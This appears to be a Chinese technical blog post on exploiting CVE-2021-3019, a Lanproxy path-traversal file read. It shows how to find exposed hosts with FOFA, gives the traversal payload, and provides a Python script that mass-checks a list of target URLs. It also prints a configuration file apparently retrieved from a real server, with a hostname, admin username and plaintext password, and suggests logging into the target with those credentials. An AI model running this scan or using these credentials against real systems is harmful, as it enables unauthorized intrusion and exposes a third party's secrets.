0x02 CVE-2021-3019:Lanproxy 任意文件读取漏洞复现

这个漏洞的介绍可以自己在百度搜索,或者可以看我之前写的文章:31-3 文件包含漏洞 - 文件包含漏洞利用(CVE-2021-3019:Lanproxy 任意文件读取漏洞复现)_lanproxy漏洞-CSDN博客

这里我们就分享如何在fofa上搜索存在该漏洞的网站,并编写脚本验证漏洞是否存在。

fofa搜索

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

搜索关键字

"Lanproxy"

漏洞验证

这里可以手动进行验证,方法如下:

# 测试Payload:
/%2F..%2F/conf/config.properties

在目标url的后面拼接你的浏览器直接下载了配置文件就说明存在漏洞

编写python脚本进行批量复现

首先你可以编写个搜索fofa的脚本,用来收集目标ip

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本

import requests

# 定义读取文件和检测漏洞的函数
def check_vulnerability(url):
    # 拼接漏洞路径
    vuln_path = '/%2F..%2Fconf/config.properties'
    full_url = url.rstrip('/') + vuln_path

    try:
        response = requests.get(full_url, timeout=10)
        if response.status_code == 200:
            print(f"Vulnerability found at: {full_url}")
        else:
            pass
            # print(f"No vulnerability at: {full_url} (Status Code: {response.status_code})")
    except requests.RequestException as e:
        pass
        # print(f"Request failed for {full_url}: {e}")


def main():
    # 从 ip.txt 文件中读取 URL 列表
    try:
        with open('ip.txt', 'r') as file:
            urls = file.readlines()

        # 遍历每个 URL 并检查漏洞
        for url in urls:
            url = url.strip()  # 去除可能的换行符
            if url:  # 确保 URL 不为空
                check_vulnerability(url)
    except FileNotFoundError:
        # print("The file 'ip.txt' was not found.")
        pass
    except Exception as e:
        # print(f"An error occurred: {e}")
        pass

if __name__ == '__main__':
    main()

说明

  • check_vulnerability(url): 这个函数接收一个 URL,将漏洞路径 /../conf/config.properties 拼接到该 URL 上,并发送 GET 请求。根据响应状态码判断是否存在漏洞。
  • main(): 这个函数从 ip.txt 文件中读取每一行(假设每行包含一个 URL),并调用 check_vulnerability(url) 进行检测。
  • 异常处理: 处理可能的异常,如请求失败或文件未找到等情况。

使用

  1. 将你需要测试的 URL 列表放入 ip.txt 文件中,每行一个 URL。
  2. 运行这个 Python 脚本,它会检查每个 URL 是否存在指定的漏洞路径。

 

如果复制这些url到浏览器中访问就会自动下载config.properties配置文件

每一项配置的含义如下:

  1. client.bind=0.0.0.0

    • 这意味着客户端将绑定到所有可用的网络接口。这使得客户端可以接收来自任何网络接口的连接请求,而不仅仅是某个特定的接口。
  2. client.port=2001

    • 这是客户端将使用的端口号。在这种情况下,客户端将监听或发送数据到端口2001。
  3. client.autoAdd=true

    • 这表示客户端启用了自动添加功能。具体来说,这可能意味着客户端会自动处理某些操作,比如自动加入到某些网络或自动注册等。
  4. client.blacklist=^90.*

    • 这是一个黑名单设置,用于过滤或阻止特定的IP地址或网络。^90.* 是一个正则表达式,表示所有以90开头的IP地址都会被黑名单过滤掉。
  5. server.host=lan.leliven.com

    • 这是服务器的主机名或域名,客户端将连接到这个主机名指定的服务器。lan.leliven.com 可能是一个局域网域名或IP地址。
  6. server.bind=0.0.0.0

    • 类似于客户端的设置,这意味着服务器将绑定到所有可用的网络接口。这使得服务器能够接受来自任何网络接口的连接请求。
  7. server.port=2000

    • 这是服务器将监听的端口号。在这种情况下,服务器将监听2000端口上的连接请求。
  8. server.username=admin

    • 这是连接到服务器时使用的用户名。在这种情况下,用户名是admin
  9. server.password=Leliven@312

    • 这是与用户名配对的密码,用于身份验证。请注意,在实际使用中,不建议在配置文件中明文存储密码。
  10. server.website=webpages

    • 这可能是指服务器上托管的网页文件的位置或目录。webpages 可能是一个目录名,服务器将从中提供网页内容。

这些配置项共同定义了客户端和服务器之间的连接和通信设置。

我们可以使用配置文件中的账号密码登录目标的系统

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

狗蛋的博客之旅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值